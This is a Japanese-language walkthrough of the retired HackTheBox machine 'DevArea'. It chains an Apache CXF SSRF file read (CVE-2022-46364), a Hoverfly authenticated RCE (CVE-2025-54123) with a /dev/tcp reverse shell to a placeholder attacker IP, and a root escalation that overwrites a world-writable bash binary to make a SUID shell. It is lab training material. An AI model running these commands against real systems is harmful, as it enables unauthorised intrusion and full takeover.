DevArea — HackTheBox

プラットフォーム: HackTheBox OS: Linux ステータス: リタイア済み — 完全なウォークスルー公開中。

完全なウォークスルー: l3dsec.com/walkthroughs/devarea-htb

攻撃チェーン

nmap → 21 (FTP anon) + 80 + 8080 (Jetty) + 8888 (Hoverfly)
  → FTP anon → employee-service.jar (Apache CXF, pre-3.5.5)
    → CVE-2022-46364 SSRF → file:///etc/systemd/system/hoverfly.service
      → admin credentials in ExecStart
        → CVE-2025-54123 Hoverfly RCE → shell as dev_ryan → user flag
          → /usr/bin/bash world-writable + sudo syswatch.sh calls it
            → bash hijack → SUID rootbash → root flag

1. 列挙

nmap -sC -sV -p- <TARGET_IP>
# 21/tcp  open  ftp     vsftpd 3.0.5 (anonymous login)
# 8080/tcp open http    Jetty 9.4.27
# 8888/tcp open http    Hoverfly Dashboard

FTP anon で pub/ からダウンロードすると employee-service.jar が得られる — Apache CXF SOAP サービス、バンドルされたバージョンは 3.5.5 より前。

2. CVE-2022-46364 (Apache CXF SSRF → 認証情報の読み取り)

3.5.5 より前の CXF は XOP:Include href URL をサーバーサイドで反映する — file:// を介した任意ファイル読み取り。

python3 CVE-2022-46364.py -t http://devarea.htb:8080/employeeservice -s file:///etc/systemd/system/hoverfly.service -d devarea.htb
# ExecStart: hoverfly -add -username admin -password O7IJ27MyyXiU
# User=dev_ryan

3. CVE-2025-54123 (Hoverfly 認証済み RCE)

Hoverfly 1.11.3 — ミドルウェア設定インジェクションによる認証済み RCE。

nc -lvnp 4444
./CVE-2025-54123.sh -t http://<TARGET_IP>:8888 -u admin -p O7IJ27MyyXiU -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"

dev_ryan としてシェルを取得。ユーザーフラグは /home/dev_ryan/user.txt にあります。

4. 権限昇格 — Bash バイナリハイジャック

sudo -l
# (root) NOPASSWD: /opt/syswatch/syswatch.sh
ls -la /usr/bin/bash
# -rwxrwxrwx  (world-writable)

syswatch.sh は内部的に /usr/bin/bash を呼び出します。SUID を付与するスクリプトに置き換えます:

cp /usr/bin/bash /tmp/bash.bak
printf '#!/tmp/bash.bak\ncp /tmp/bash.bak /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' > /usr/bin/bash
chmod +x /usr/bin/bash
sudo /opt/syswatch/syswatch.sh status
/tmp/rootbash -p
# euid=0(root)

ルートフラグは /root/root.txt にあります。

フラグ

フラグ	値
ユーザー	redacted
ルート	redacted

教育目的のみ。所有しているシステム、またはテストの明示的な書面による許可を得たシステムのみをテストしてください。

devarea

人気